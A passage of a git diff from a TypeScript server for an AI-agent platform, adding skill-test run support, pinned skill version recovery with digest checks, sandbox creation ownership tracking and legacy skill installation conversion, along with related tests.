server.db.update(issues).set({ workMode: "standard" }).where(eq(issues.id, fixture.issueId)); + await expect(reprepareRun(fixture)).rejects.toThrow("The skill test's saved version is unavailable"); + const [skill] = await server.db.insert(companySkills).values({ companyId: fixture.companyId, + key: `company/${fixture.companyId}/scope-test`, slug: "scope-test", name: "Scope test", markdown: "# Scope test", sourceType: "managed" }).returning(); + const [version] = await server.db.insert(companySkillVersions).values({ companyId: fixture.companyId, + companySkillId: skill.id, revisionNumber: 1, fileInventory: [{ path: "SKILL.md", kind: "skill", content: "# Scope test" }] }).returning(); + await server.db.insert(companySkillTestRuns).values({ companyId: fixture.companyId, skillId: skill.id, + skillVersionId: version.id, agentId: fixture.agentId, issueId: fixture.issueId, inputSnapshot: "Exercise the saved scope" }); await reprepareRun(fixture); + const [prepared] = await server.db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, fixture.runId)); + expect(prepared.contextSnapshot).toMatchObject({ paperclipAgentJwtScope: { kind: "skill_test", issueId: fixture.issueId }, + paperclipSkillTest: { skillKey: skill.key, skillVersionId: version.id } }); const body = { kind: "secret", name: "parity/skill-test", value: "disposable-skill-test-value", justification: "Must remain denied" }; const token = createLocalAgentJwt(fixture.agentId, fixture.companyId, "paperclip_runner", fixture.runId, fixture.responsibleUserId, { kind: "skill_test", issueId: fixture.issueId }); diff --git a/server/src/services/native-runtime/runtime-context.ts b/server/src/services/native-runtime/runtime-context.ts index d0a96fed9de..953d97d8d8a 100644 --- a/server/src/services/native-runtime/runtime-context.ts +++ b/server/src/services/native-runtime/runtime-context.ts @@ -1,3 +1,4 @@ +import { skillExecutionContent } from "../skill-execution-content.js"; import { withRuntimeAssetUse, removeRuntimeAssetTree } from "./runtime-asset-retention.js"; import { cachedSkillAsset, rememberSkillAsset } from "./skill-asset-cache.js"; import { verifyFileManifest, type FileManifestEntry } from "../file-manifest-cache.js"; @@ -11,7 +12,7 @@ import { createHash, randomUUID } from "node:crypto"; import fs from "node:fs/promises"; import path from "node:path"; import { and, eq } from "drizzle-orm"; -import { heartbeatRuns, type Db } from "@paperclipai/db"; +import { companySkillVersions, heartbeatRuns, type Db } from "@paperclipai/db"; import type { PaperclipSkillEntry } from "@paperclipai/adapter-utils/server-utils"; import { isToolConnectionAttentionHealth } from "@paperclipai/shared"; import { @@ -185,6 +186,54 @@ async function materializeInstructionBundle(db: Db, agent: RuntimeAgent, agentFi return { entryPath, bundle: await materializeAsset(files) }; } +async function materializeSkillAsset(source: string) { + let bundle = await measureRunPhase("runtime_context.asset_verify", () => cachedSkillAsset(source)); + if (!bundle) { + const files = await measureRunPhase("runtime_context.asset_read", () => collectDirectoryFiles(source)); + bundle = await materializeAsset(files); + const manifest: FileManifestEntry[] = files.map(file => ({ path: file.path, size: file.content.length, + sha256: sha256(file.content), mode: file.mode & 0o555, executable: Boolean(file.mode & 0o111) })); + if (await verifyFileManifest(source, manifest)) rememberSkillAsset(source, manifest, bundle); + } + return bundle; +} + +export async function rehydratePinnedSkillAssets( + db: Db, + binding: { companyId: string; runId: string; agentId: string }, + context: NativeRuntimeContextSnapshot, +): Promise { + if (!context.skills.some(skill => skill.versionId)) return context; + const [run] = await db.select({ responsibleUserId: heartbeatRuns.responsibleUserId, + contextSnapshot: heartbeatRuns.contextSnapshot }).from(heartbeatRuns).where(and( + eq(heartbeatRuns.companyId, binding.companyId), eq(heartbeatRuns.id, binding.runId), eq(heartbeatRuns.agentId, binding.agentId))); + if (!run) throw new Error("Skill recovery has no matching admitted run"); + const actor = { type: "agent" as const, companyId: binding.companyId, agentId: binding.agentId, + runId: binding.runId, source: "agent_jwt" as const, + onBehalfOfUserId: run.responsibleUserId === "local-board" ? null : run.responsibleUserId }; + const delivery = skillExecutionContent(db, { actor }); + const pins = run.contextSnapshot?.skillVersions; + const skills: NativeRuntimeContextSnapshot["skills"] = []; + for (const skill of context.skills) { + if (!skill.versionId) { skills.push(skill); continue; } + if (pins !== undefined && (!pins || typeof pins !== "object" || Array.isArray(pins) + || (pins as Record)[skill.key] !== skill.versionId)) { + throw new Error("Skill recovery differs from the admitted version selection"); + } + const [version] = await db.select({ skillId: companySkillVersions.companySkillId }).from(companySkillVersions).where(and( + eq(companySkillVersions.companyId, binding.companyId), eq(companySkillVersions.id, skill.versionId))); + if (!version) throw new Error("Pinned skill version is unavailable for recovery"); + const bundle = await delivery.withVersion({ companyId: binding.companyId, skillId: version.skillId, versionId: skill.versionId }, + source => materializeSkillAsset(source)); + if (bundle.digest !== skill.bundle.digest || bundle.manifestDigest !== skill.bundle.manifestDigest + || bundle.fileCount !== skill.bundle.fileCount || bundle.totalBytes !== skill.bundle.totalBytes) { + throw new Error("Recovered skill projection does not match its admitted digest"); + } + skills.push({ ...skill, bundle }); + } + return { ...context, skills }; +} + export async function materializeSelectedSkills(runtimeConfig: Record, entries: PaperclipSkillEntry[], omitLegacy: boolean) { const desiredKeys = resolvePaperclipDesiredSkillNames(runtimeConfig, entries).filter( (key) => !omitLegacy || key !== PAPERCLIP_OPERATIONAL_SKILL_KEY, @@ -194,16 +243,7 @@ export async function materializeSelectedSkills(runtimeConfig: Record cachedSkillAsset(entry.source)); - if (!bundle) { - const files = await measureRunPhase("runtime_context.asset_read", () => collectDirectoryFiles(entry.source)); - bundle = await materializeAsset(files); - const manifest: FileManifestEntry[] = files.map(file => ({ path: file.path, size: file.content.length, - sha256: sha256(file.content), mode: file.mode & 0o555, executable: Boolean(file.mode & 0o111) })); - // Populate the stat/digest cache against these exact source bytes before - // remembering the reference. A concurrent source edit cannot seed it. - if (await verifyFileManifest(entry.source, manifest)) rememberSkillAsset(entry.source, manifest, bundle); - } + const bundle = await materializeSkillAsset(entry.source); return { key: entry.key, runtimeName: safeRelativePath(entry.runtimeName, `runtime name for ${key}`), versionId: entry.versionId ?? entry.currentVersionId ?? null, bundle }; })); } diff --git a/server/src/services/native-runtime/runtime-mode.test.ts b/server/src/services/native-runtime/runtime-mode.test.ts index 381d77fc2da..7baeaee0483 100644 --- a/server/src/services/native-runtime/runtime-mode.test.ts +++ b/server/src/services/native-runtime/runtime-mode.test.ts @@ -419,10 +419,16 @@ describe("resolveNativeRuntimeMode", () => { it("rejects an explicit native profile outside the approved boundary", () => { expect(resolveNativeRuntimeMode({ ...eligible, agent: { ...eligible.agent, adapterType: "claude_local" } })) .toEqual(expect.objectContaining({ kind: "legacy", reason: "direct_adapter" })); - expect(() => resolveNativeRuntimeMode({ ...eligible, issue: { id: "issue", workMode: "skill_test" } })) + expect(() => resolveNativeRuntimeMode({ ...eligible, issue: { id: "issue", workMode: "unknown" } })) .toThrow(NativeRuntimeEligibilityError); }); + it("admits Skills Studio tests on remote Runners", () => { + expect(resolveNativeRuntimeMode({ ...eligible, + issue: { id: "skill-test", workMode: "skill_test" }, target: { kind: "remote" }, + })).toMatchObject({ kind: "native", profile: { backend: "codex_app_server" } }); + }); + it("admits remote targets only through paperclip_runner", () => { expect(resolveNativeRuntimeMode({ ...eligible, diff --git a/server/src/services/native-runtime/runtime-mode.ts b/server/src/services/native-runtime/runtime-mode.ts index 49dbd93e466..3de349db718 100644 --- a/server/src/services/native-runtime/runtime-mode.ts +++ b/server/src/services/native-runtime/runtime-mode.ts @@ -156,11 +156,11 @@ export function resolveNativeRuntimeMode(input: { "Paperclip Runner requires an active agent.", ); } - const allowedWorkModes = ["standard", "planning", "ask"]; + const allowedWorkModes = ["standard", "planning", "ask", "skill_test"]; if (!input.issue || !allowedWorkModes.includes(input.issue.workMode)) { throw ineligible( "paperclip_runner_issue_ineligible", - "Paperclip Runner requires a standard, planning, or ask task.", + "Paperclip Runner requires a standard, planning, ask, or skill test task.", ); } const rollout = resolveNativeMigrationStatus({ diff --git a/server/src/services/native-runtime/status-decision-committer.ts b/server/src/services/native-runtime/status-decision-committer.ts index 78078a0a7ac..a43868dd25f 100644 --- a/server/src/services/native-runtime/status-decision-committer.ts +++ b/server/src/services/native-runtime/status-decision-committer.ts @@ -66,6 +66,7 @@ import { resolveExternalChatResponseWaitAuthorizationInTransaction, } from "./chat-attachment-reuse.js"; import { issueService } from "../issues.js"; +import { companySkillService } from "../company-skills.js"; import { syncRoutineRunStatusForIssue } from "../routine-run-status.js"; import { issueThreadInteractionService } from "../issue-thread-interactions.js"; import { issueRecoveryActionService } from "../issue-recovery-actions.js"; @@ -2231,6 +2232,31 @@ export async function commitNativeStatusDecision(input: { if (updated.originKind === "routine_execution") { await syncRoutineRunStatusForIssue(tx as unknown as Db, input.issueId); } + // Native task completion bypasses the REST issue route. Commit the Studio + // output with the authoritative task status so restart cannot lose it. + // The durable test row, not a mutable task mode, identifies the obligation. + if (issue.status !== updated.status && (updated.status === "done" || updated.status === "cancelled")) { + const testRun = await companySkillService(tx as unknown as Db).completeTestRunForIssue({ + companyId: input.companyId, + issueId: input.issueId, + outcome: updated.status === "done" ? "succeeded" : "cancelled", + error: updated.status === "cancelled" ? "Harness issue was cancelled" : null, + }); + if (testRun) { + const { publication } = await persistActivity(tx as unknown as Db, { + companyId: input.companyId, + actorType: "system", + actorId: "native-status-committer", + runId: input.runId, + action: "company.skill_test_run_completed", + entityType: "company_skill_test_run", + entityId: testRun.id, + issueId: input.issueId, + details: { issueId: input.issueId, status: testRun.status, outputDocumentKey: testRun.outputDocumentKey }, + }); + publications.push(publication); + } + } materialized.unshift({ effectKind: "issue_status_projection", targetType: "issue", diff --git a/server/src/services/native-runtime/task-reassignment.test.ts b/server/src/services/native-runtime/task-reassignment.test.ts index 8f3d86b0638..1e7a4f2cf74 100644 --- a/server/src/services/native-runtime/task-reassignment.test.ts +++ b/server/src/services/native-runtime/task-reassignment.test.ts @@ -2,17 +2,17 @@ import { randomUUID } from "node:crypto"; import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; import { eq, and } from "drizzle-orm"; import { activityLog, agents, authUsers, companyMemberships, companies, createDb, heartbeatRuns, issues, issueComments } from "@paperclipai/db"; -import { startEmbeddedPostgresTestDatabase } from "../../__tests__/helpers/embedded-postgres.js"; +import { startRecoveryPostgres } from "../../__tests__/helpers/recovery-postgres.js"; import { issueService } from "../issues.js"; import { PaperclipRunnerToolAuthority } from "./paperclip-runner-tool-authority.js"; describe("runner task reassignment", () => { - let temporary: Awaited>; + let temporary: Awaited>; let db: ReturnType; beforeAll(async () => { - temporary = await startEmbeddedPostgresTestDatabase("runner-reassign-"); + temporary = await startRecoveryPostgres("runner-reassign-"); db = createDb(temporary.connectionString); - }); + }, 60_000); afterAll(async () => { await temporary?.cleanup(); }); async function fixture(status = "todo") { @@ -183,7 +183,9 @@ describe("runner task reassignment", () => { it.each(["planning", "ask", "skill_test"])("denies reassignment from %s mode", async workMode => { const f = await fixture(); await db.update(issues).set({ workMode }).where(eq(issues.id, f.issueId)); - await expect(f.authority.execute(f.call)).rejects.toThrow("mode_denied"); + if (workMode === "skill_test") await expect(f.authority.execute(f.call)).rejects.toMatchObject({ status: 403 }); + else await expect(f.authority.execute(f.call)).rejects.toThrow("mode_denied"); + expect(f.stopTaskForReassignment).not.toHaveBeenCalled(); }); it("denies foreign targets and unavailable assignees", async () => { diff --git a/server/src/services/sandbox-creation-operations.ts b/server/src/services/sandbox-creation-operations.ts new file mode 100644 index 00000000000..a56c6615284 --- /dev/null +++ b/server/src/services/sandbox-creation-operations.ts @@ -0,0 +1,150 @@ +import { collectSecretRefPaths, isUuidSecretRef, parseSecretRefBindingObject, readConfigValueAtPath } from "./json-schema-secret-refs.js"; +import { createHash, randomUUID } from "node:crypto"; +import { and, eq, lte, or, sql } from "drizzle-orm"; +import { companies, environments, sandboxCreationOperations, type Db } from "@paperclipai/db"; +import { readEnvironmentCreationCleanupError, type PluginEnvironmentLease, type PluginEnvironmentLeaseObservation } from "@paperclipai/plugin-sdk"; +import { assertEnvironmentCompanyBinding, environmentService } from "./environments.js"; +import { ENVIRONMENT_CLEANUP_RETRY_MS } from "./environment-cleanup-state.js"; +import { logger } from "../middleware/logger.js"; +import { notifyEnvironmentCleanup } from "./environment-cleanup-notifications.js"; + +export type SandboxCreationOperation = typeof sandboxCreationOperations.$inferSelect; + +type CreationOwner = { + companyId: string; + environmentId: string; + executionWorkspaceId?: string | null; + issueId?: string | null; + heartbeatRunId?: string | null; + provider: string; + pluginId?: string; + driverKey: string; + config: Record; + metadata: Record; + timeoutMs?: number; + requestKey?: string; + configSchema?: Record | null; + resolvedConfig?: Record; +}; + +export async function createOwnedSandbox( + db: Db, owner: CreationOwner, + create: (identity: { id: string; runId: string }) => Promise, +): Promise { + const credentialHashes: Record = {}; + for (const path of collectSecretRefPaths(owner.configSchema)) { + const value = readConfigValueAtPath(owner.config, path); + if (value != null && value !== "" && !(typeof value === "string" && isUuidSecretRef(value)) && !parseSecretRefBindingObject(value)) { + throw new Error("Sandbox creation requires saved secret references"); + } + if (value != null && value !== "") { + const resolved = readConfigValueAtPath(owner.resolvedConfig ?? {}, path); + if (typeof resolved !== "string") throw new Error("Sandbox creation credential identity is unavailable"); + credentialHashes[path] = createHash("sha256").update(resolved).digest("hex"); + } + } + const id = randomUUID(); + const runId = owner.heartbeatRunId ?? randomUUID(); + const operation = await db.transaction(async tx => { + await notifyEnvironmentCleanup(tx, { companyId: owner.companyId, runId: owner.heartbeatRunId ?? undefined }); + await assertEnvironmentCompanyBinding(tx as unknown as Db, owner.environmentId, owner.companyId); + const [inserted] = await tx.insert(sandboxCreationOperations).values({ + id, companyId: owner.companyId, environmentId: owner.environmentId, originalEnvironmentId: owner.environmentId, + runId, requestKey: owner.requestKey ?? "run", issueId: owner.issueId, executionWorkspaceId: owner.executionWorkspaceId, + provider: owner.provider, pluginId: owner.pluginId, driverKey: owner.driverKey, + config: owner.config, metadata: { ...owner.metadata, creationCredentialHashes: credentialHashes }, + nextAttemptAt: new Date(Date.now() + Math.max(30 * 60_000, (owner.timeoutMs ?? 0) + 60_000)), + }).onConflictDoNothing().returning(); + if (inserted) return inserted; + const [existing] = await tx.select().from(sandboxCreationOperations).where(and( + eq(sandboxCreationOperations.companyId, owner.companyId), eq(sandboxCreationOperations.originalEnvironmentId, owner.environmentId), + eq(sandboxCreationOperations.runId, runId), eq(sandboxCreationOperations.requestKey, owner.requestKey ?? "run"), + )); + if (!existing) throw new Error("Sandbox creation ownership was not recorded"); + return existing; + }); + if (operation.id !== id) { + if (operation.state !== "attached" || !operation.leaseId) throw new Error("Sandbox creation requires reconciliation before another attempt"); + const existing = await environmentService(db).getLeaseById(operation.leaseId); + if (!existing || existing.status !== "active" || !existing.providerLeaseId) throw new Error("Sandbox creation has already transferred ownership"); + return { providerLeaseId: existing.providerLeaseId, expiresAt: existing.expiresAt?.toISOString(), + metadata: { ...existing.metadata, creationOperationId: operation.id } }; + } + const lease = await create({ id, runId }); + return { ...lease, metadata: { ...lease.metadata, creationOperationId: id } }; +} + +/** Keep an already returned resource identity even when task attachment fails. + * This enriches the existing owner; it never transfers or reopens ownership. */ +export async function recordSandboxCreationResource(db: Db, input: { + id: string; companyId: string; environmentId: string; providerLeaseId: string; +}): Promise { + const [recorded] = await db.update(sandboxCreationOperations).set({ + metadata: sql`coalesce(${sandboxCreationOperations.metadata}, '{}'::jsonb) || ${JSON.stringify({ creationProviderLeaseId: input.providerLeaseId })}::jsonb`, + updatedAt: new Date(), + }).where(and(eq(sandboxCreationOperations.id, input.id), eq(sandboxCreationOperations.companyId, input.companyId), + eq(sandboxCreationOperations.originalEnvironmentId, input.environmentId), + or(sql`${sandboxCreationOperations.metadata}->>'creationProviderLeaseId' is null`, + sql`${sandboxCreationOperations.metadata}->>'creationProviderLeaseId' = ${input.providerLeaseId}`), + )).returning({ id: sandboxCreationOperations.id }); + if (!recorded) throw new Error("Sandbox creation resource identity changed"); +} + +export async function recoverSandboxCreations(db: Db, + inspect: (operation: SandboxCreationOperation) => Promise, +): Promise { + const due = await db.select().from(sandboxCreationOperations).where(and( + eq(sandboxCreationOperations.state, "pending"), lte(sandboxCreationOperations.nextAttemptAt, new Date()), + )).limit(100); + for (const candidate of due) { + try { + const [existingCompany] = await db.select({ id: companies.id }).from(companies).where(eq(companies.id, candidate.companyId)).limit(1); + const observation = existingCompany ? await inspect(candidate) : null; + const cleanup = observation?.creationCleanup ? readEnvironmentCreationCleanupError({ data: { + schema: "paperclip/environment-creation-cleanup/v1", cleanup: observation.creationCleanup, + } }) : null; + if (cleanup && (cleanup.companyId !== candidate.companyId || cleanup.environmentId !== candidate.originalEnvironmentId || + cleanup.runId !== candidate.runId || cleanup.attemptId !== candidate.id || cleanup.providerLeaseId !== observation!.providerLeaseId)) { + throw new Error("Sandbox creation recovery returned foreign ownership"); + } + await db.transaction(async tx => { + const [company] = await tx.select({ id: companies.id }).from(companies).where(eq(companies.id, candidate.companyId)).for("key share"); + await tx.select({ id: environments.id }).from(environments).where(eq(environments.id, candidate.originalEnvironmentId)).for("update"); + const [operation] = await tx.select().from(sandboxCreationOperations) + .where(eq(sandboxCreationOperations.id, candidate.id)).for("update"); + if (!operation || operation.state !== "pending") return; + await notifyEnvironmentCleanup(tx, { companyId: operation.companyId }); + if (!company || !cleanup) { + logger.warn({ errorKind: "sandbox_creation_needs_reconciliation", operationId: operation.id, companyId: operation.companyId }, + "Sandbox creation could not be identified; operator reconciliation is required"); + await tx.update(sandboxCreationOperations).set({ state: "needs_reconciliation", updatedAt: new Date(), + metadata: { ...operation.metadata, creationReconciliationReason: company ? "creation_identity_unavailable" : "company_deleted" }, + }) + .where(eq(sandboxCreationOperations.id, operation.id)); + return; + } + const lease = await environmentService(tx as unknown as Db).insertPendingCleanupLease({ + companyId: operation.companyId, environmentId: operation.originalEnvironmentId, + provider: operation.provider, providerLeaseId: cleanup.providerLeaseId, + metadata: { ...operation.metadata, creationOperationId: operation.id, failedCreateCleanup: cleanup }, + failureReason: "interrupted_sandbox_creation", + }); + await tx.update(sandboxCreationOperations).set({ state: "cleanup_pending", leaseId: lease.id, updatedAt: new Date() }) + .where(eq(sandboxCreationOperations.id, operation.id)); + }); + } catch { + const retry = await db.transaction(async tx => { + const [company] = await tx.select({ id: companies.id }).from(companies).where(eq(companies.id, candidate.companyId)).for("key share"); + await notifyEnvironmentCleanup(tx, { companyId: candidate.companyId }); + await tx.update(sandboxCreationOperations).set(company + ? { nextAttemptAt: new Date(Date.now() + ENVIRONMENT_CLEANUP_RETRY_MS), updatedAt: new Date() } + : { state: "needs_reconciliation", updatedAt: new Date(), + metadata: sql`coalesce(${sandboxCreationOperations.metadata}, '{}'::jsonb) || '{"creationReconciliationReason":"company_deleted"}'::jsonb` }) + .where(and(eq(sandboxCreationOperations.id, candidate.id), eq(sandboxCreationOperations.state, "pending"))); + return Boolean(company); + }); + logger.warn({ errorKind: retry ? "sandbox_creation_recovery_failed" : "sandbox_creation_needs_reconciliation", operationId: candidate.id, companyId: candidate.companyId }, + retry ? "Sandbox creation recovery will retry at its saved deadline" : "Sandbox creation company was deleted; operator reconciliation is required"); + } + } +} diff --git a/server/src/services/skill-execution-content.ts b/server/src/services/skill-execution-content.ts new file mode 100644 index 00000000000..50c19517e53 --- /dev/null +++ b/server/src/services/skill-execution-content.ts @@ -0,0 +1,52 @@ +import { promises as fs } from "node:fs"; +import path from "node:path"; +import type { Db } from "@paperclipai/db"; +import type { AuthorizationActor } from "./authorization.js"; +import { notFound, unprocessable } from "../errors.js"; +import { skillAccessService } from "./skill-access.js"; +import { skillPackageStore } from "./skill-package-store.js"; +import { skillPackageRuntime } from "./skill-package-runtime.js"; +import { skillPackageManifest, verifySkillPackageDirectory } from "./skill-package-files.js"; +import { skillFileBytes } from "./skill-snapshot.js"; +import { ensureSkillCacheDirectory, skillVersionCachePaths, touchSkillVersionCache, withSkillVersionCacheLock } from "./skill-version-cache.js"; +import { runVersionSnapshotFlight } from "./skill-version-retention.js"; + +export type SkillContentReference = { companyId: string; skillId: string; versionId: string }; + +export function skillExecutionContent(db: Db, options: { actor?: AuthorizationActor; packageDb?: Db } = {}) { + const packages = skillPackageStore(options.packageDb ?? db); + const runtime = skillPackageRuntime(options.packageDb ?? db); + async function withVersion(reference: SkillContentReference, consume: (directory: string) => Promise): Promise { + const { companyId, skillId, versionId } = reference; + await skillAccessService(db, options.actor).assertSkill(companyId, skillId); + return withSkillVersionCacheLock(db, companyId, async () => { + const version = await packages.version(companyId, skillId, versionId); + if (!version) throw notFound("Skill version not found"); + const { directory } = skillVersionCachePaths(companyId, skillId, versionId); + await runVersionSnapshotFlight(directory, async () => { + if (version.repositorySnapshotId || version.packageSnapshotId) return runtime.materialize(version, directory); + const files = await packages.versionFiles(version); + if (!files.some(file => file.path === "SKILL.md")) throw unprocessable("Skill version has no SKILL.md snapshot."); + const manifest = skillPackageManifest(files); + const parent = path.dirname(directory); + await ensureSkillCacheDirectory(parent, true); + if (await verifySkillPackageDirectory(directory, manifest.files)) return directory; + const staging = await fs.mkdtemp(path.join(parent, `.${versionId}-`)); + try { + for (const file of files) { + const target = path.join(staging, file.path); + await fs.mkdir(path.dirname(target), { recursive: true }); + await fs.writeFile(target, skillFileBytes(file), { mode: file.executable ? 0o555 : 0o444 }); + } + if (!await verifySkillPackageDirectory(staging, manifest.files)) throw new Error("Skill delivery verification failed"); + await fs.rm(directory, { recursive: true, force: true }); + await fs.rename(staging, directory); + return directory; + } finally { await fs.rm(staging, { recursive: true, force: true }); } + }); + await touchSkillVersionCache(companyId, skillId, versionId); + return consume(directory); + }); + } + return { withVersion }; +} diff --git a/server/src/services/skill-installation-maintenance.ts b/server/src/services/skill-installation-maintenance.ts new file mode 100644 index 00000000000..d283a42af34 --- /dev/null +++ b/server/src/services/skill-installation-maintenance.ts @@ -0,0 +1,236 @@ +import { constants, promises as fs } from "node:fs"; +import path from "node:path"; +import { and, asc, eq, gt, sql } from "drizzle-orm"; +import { companySkills, companySkillVersions, type Db } from "@paperclipai/db"; +import { parseFrontmatterMarkdown, type CompanySkillVersionFileInventoryEntry } from "@paperclipai/shared"; +import { conflict } from "../errors.js"; +import { classifyInventoryKind, companySkillService } from "./company-skills.js"; +import { managedSkillContent } from "./managed-skill-content.js"; +import { skillPackageStore, skillVersionMetadataColumns } from "./skill-package-store.js"; +import { skillPackageMaintenance } from "./skill-package-maintenance.js"; +import { skillPackageManifest } from "./skill-package-files.js"; +import { assertSkillSnapshotPath, MAX_SKILL_SNAPSHOT_BYTES, MAX_SKILL_SNAPSHOT_FILES, skillSnapshotHash, snapshotFile } from "./skill-snapshot.js"; +import { protectedVersions, withSkillVersionCacheLock } from "./skill-version-cache.js"; +import { getStorageService, type StorageService } from "../storage/index.js"; + +type Page = { companyId?: string; after?: string; id?: string; limit?: number; signal?: AbortSignal }; +type Conversion = Page & { apply?: boolean; writersStopped?: boolean }; +const limit = (options: Page) => Math.min(50, Math.max(1, options.limit ?? 10)); +const legacyManaged = (skill: typeof companySkills.$inferSelect) => skill.sourceType === "local_path" && skill.metadata?.sourceKind === "managed_local"; +const linkedLocal = (skill: typeof companySkills.$inferSelect) => skill.sourceType === "local_path" + && !legacyManaged(skill) && skill.metadata?.sourceKind !== "paperclip_bundled"; +function coversInstalledInventory(skill: typeof companySkills.$inferSelect, files: Array<{ path: string }>) { + const paths = new Set(files.map(file => file.path)); + return paths.has("SKILL.md") && skill.fileInventory.every(file => typeof file.path === "string" && paths.has(file.path)); +} + +async function legacyFiles(skill: typeof companySkills.$inferSelect, signal?: AbortSignal) { + if (!skill.sourceLocator || !path.isAbsolute(skill.sourceLocator)) return null; + const source = path.resolve(skill.sourceLocator); + const root = path.basename(source) === "SKILL.md" ? path.dirname(source) : source; + const stat = await fs.lstat(root).catch((error: NodeJS.ErrnoException) => { + if (error.code === "ENOENT") return null; + throw error; + }); + if (!stat) return null; + if (!stat.isDirectory() || stat.isSymbolicLink()) throw new Error("Legacy skill root is not a safe directory"); + const files: CompanySkillVersionFileInventoryEntry[] = []; + let bytes = 0; + async function visit(directory: string) { + for (const entry of await fs.readdir(directory, { withFileTypes: true })) { + signal?.throwIfAborted(); + if (entry.name === ".git" || entry.name === "node_modules") continue; + const absolute = path.join(directory, entry.name); + if (entry.isSymbolicLink()) throw new Error("Legacy skill contains a symbolic link"); + if (entry.isDirectory()) { await visit(absolute); continue; } + if (!entry.isFile()) throw new Error("Legacy skill contains an unsupported file"); + const relative = assertSkillSnapshotPath(path.relative(root, absolute).split(path.sep).join("/")); + const handle = await fs.open(absolute, constants.O_RDONLY | constants.O_NOFOLLOW); + try { + const stat = await handle.stat(); + if (!stat.isFile()) throw new Error("Legacy skill contains an unsupported file"); + bytes += stat.size; + if (files.length >= MAX_SKILL_SNAPSHOT_FILES || bytes > MAX_SKILL_SNAPSHOT_BYTES) throw new Error("Legacy skill exceeds package limits"); + const body = Buffer.alloc(stat.size); + let offset = 0; + while (offset < body.length) { + signal?.throwIfAborted(); + const { bytesRead } = await handle.read(body, offset, body.length - offset, offset); + if (!bytesRead) throw new Error("Legacy skill changed during conversion"); + offset += bytesRead; + } + const after = await handle.stat(); + if (after.size !== stat.size || after.mtimeMs !== stat.mtimeMs) throw new Error("Legacy skill changed during conversion"); + files.push(snapshotFile(relative, classifyInventoryKind(relative), body, Boolean(stat.mode & 0o111))); + } finally { await handle.close(); } + } + } + await visit(root); + if (!files.some(file => file.path === "SKILL.md" && file.encoding !== "base64")) throw new Error("Legacy skill is missing UTF-8 SKILL.md"); + return files; +} + +export function skillInstallationMaintenance(db: Db, storage?: StorageService) { + const store = skillPackageStore(db, storage); + const content = managedSkillContent(db, db, storage); + const provider = () => (storage ?? getStorageService()).provider; + function scope(options: Page) { + return and(options.companyId ? eq(companySkills.companyId, options.companyId) : undefined, + options.id ? eq(companySkills.id, options.id) : undefined, + options.after ? gt(companySkills.id, options.after) : undefined); + } + async function installations(options: Conversion = {}) { + if (options.apply && !options.writersStopped) throw conflict("Installation conversion requires stopped admission and retired legacy writers (--writers-stopped)."); + const skills = await db.select().from(companySkills).where(scope(options)).orderBy(asc(companySkills.id)).limit(limit(options)); + const results: Array<{ skillId: string; companyId: string; status: string; versionId?: string | null; reason?: string }> = []; + for (const skill of skills) { + options.signal?.throwIfAborted(); + const catalogOrigin = skill.sourceType === "catalog" && !skill.metadata?.originVersionId; + if (linkedLocal(skill)) { + results.push({ skillId: skill.id, companyId: skill.companyId, status: "linked_local", versionId: skill.currentVersionId }); + continue; + } + try { + const version = skill.currentVersionId ? await store.version(skill.companyId, skill.id, skill.currentVersionId) : null; + const complete = version && coversInstalledInventory(skill, await store.versionInventory(version)); + if (!legacyManaged(skill) && !catalogOrigin && complete) { + results.push({ skillId: skill.id, companyId: skill.companyId, status: "unchanged", versionId: skill.currentVersionId }); + continue; + } + const pins = await protectedVersions(db, skill.companyId); + if (pins.versions === null) throw new Error("Active run lacks an exact durable skill selection; settle or snapshot it on the legacy server first"); + const saved = version ? await store.versionFiles(version) : null; + const local = await legacyFiles(skill, options.signal); + const completeSaved = saved && coversInstalledInventory(skill, saved) ? saved : null; + const files = local ?? completeSaved ?? ((skill.sourceType === "github" || skill.sourceType === "skills_sh" || skill.sourceType === "url") + ? await companySkillService(db).captureLegacyInstallation(skill.companyId, skill.id) : null); + const origin = catalogOrigin && typeof skill.metadata?.originSnapshotLocator === "string" + ? await legacyFiles({ ...skill, sourceLocator: skill.metadata.originSnapshotLocator }, options.signal) : null; + if (catalogOrigin && !origin && skill.metadata?.userModifiedAt) { + throw new Error("Catalog reset snapshot is unavailable; preserve the original installed package before conversion"); + } + if (!files?.length || !files.some(file => file.path === "SKILL.md")) throw new Error("Neither complete legacy files nor a saved version is available"); + if (!local && !coversInstalledInventory(skill, files)) { + throw new Error("Saved version does not cover the installed inventory"); + } + if (!options.apply) { + results.push({ skillId: skill.id, companyId: skill.companyId, status: "conversion_required", versionId: skill.currentVersionId }); + continue; + } + if (version && saved && !version.packageSnapshotId && skillSnapshotHash(saved) === skillSnapshotHash(files)) { + await skillPackageMaintenance(db, storage).migrateVersions({ id: version.id, apply: true, clearLegacy: true, signal: options.signal }); + } + const candidate = await content.prepare(skill.companyId, files, options.signal); + if (!candidate.packageSnapshotId || !await store.verifyDurable(skill.companyId, candidate.packageSnapshotId, options.signal)) { + throw new Error("Final snapshot is not independently recoverable from object storage"); + } + let originVersionId = typeof skill.metadata?.originVersionId === "string" ? skill.metadata.originVersionId : null; + if (catalogOrigin && origin && skillSnapshotHash(origin) !== skillSnapshotHash(files)) { + originVersionId = (await companySkillService(db).createVersion(skill.companyId, skill.id, + { label: "Original catalog package" }, { type: "system" }, { + fileInventory: origin, updateCurrentVersion: false, skipInventoryRefresh: true, + })).id; + } + const markdown = files.find(file => file.path === "SKILL.md")!.content; + const parsed = parseFrontmatterMarkdown(markdown); + const { missingSource: _missing, ...metadata } = skill.metadata ?? {}; + const result = await withSkillVersionCacheLock(db, skill.companyId, () => content.publish(skill, candidate, { + ...(legacyManaged(skill) ? { sourceType: "managed", sourceLocator: null } : {}), markdown, + name: typeof parsed.frontmatter.name === "string" ? parsed.frontmatter.name : skill.name, + description: typeof parsed.frontmatter.description === "string" ? parsed.frontmatter.description : skill.description, + fileInventory: files.map(({ path, kind }) => ({ path, kind })), + trustLevel: files.some(file => file.kind === "script" || file.executable) ? "scripts_executables" + : files.some(file => file.kind === "asset" || file.kind === "other") ? "assets" : "markdown_only", + metadata: { ...metadata, ...(legacyManaged(skill) ? { sourceKind: "managed" } : {}), + ...(originVersionId ? { originVersionId } : {}) }, + }, { type: "system" }, { label: "Legacy installation conversion", + reuseCurrentVersion: Boolean(saved && skillSnapshotHash(saved) === skillSnapshotHash(files)), + afterPublish: async (tx, row, version) => { + if (catalogOrigin && !originVersionId) await tx.update(companySkills) + .set({ metadata: { ...row.metadata, originVersionId: version.id } }).where(eq(companySkills.id, row.id)); + }, + })); 